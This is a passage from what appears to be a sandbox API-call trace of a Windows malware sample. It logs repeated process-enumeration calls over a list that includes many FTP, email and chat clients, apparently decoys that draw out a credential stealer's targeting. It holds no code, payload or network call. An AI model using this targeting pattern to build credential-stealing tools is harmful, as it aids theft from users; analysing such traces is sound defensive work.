personal.exe")) returned 1 [0224.012] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0224.014] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0224.016] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0224.017] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0224.021] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.023] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.025] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0224.027] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0224.029] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0224.031] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0224.032] CloseHandle (hObject=0x15f0) returned 1 [0224.032] Sleep (dwMilliseconds=0x64) [0224.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0224.079] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.080] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.132] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.134] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.135] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.137] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.138] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.139] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.141] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.143] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.145] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.146] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.148] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.150] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.151] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.153] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.154] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.156] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.157] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.159] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.160] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0224.162] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0224.163] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.165] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.166] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0224.168] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0224.169] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0224.170] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.172] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0224.173] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0224.175] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.241] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0224.242] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0224.244] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0224.246] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0224.248] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0224.249] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0224.251] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0224.252] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0224.254] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0224.255] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0224.257] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0224.258] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0224.260] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0224.261] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0224.263] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0224.264] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0224.266] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0224.267] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0224.269] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0224.270] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0224.272] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0224.273] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0224.275] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0224.276] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0224.278] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0224.279] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0224.281] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0224.282] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0224.333] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0224.336] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0224.338] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0224.340] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0224.341] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0224.343] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0224.345] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0224.346] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0224.348] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0224.350] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0224.352] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0224.354] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0224.356] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0224.357] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0224.359] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, 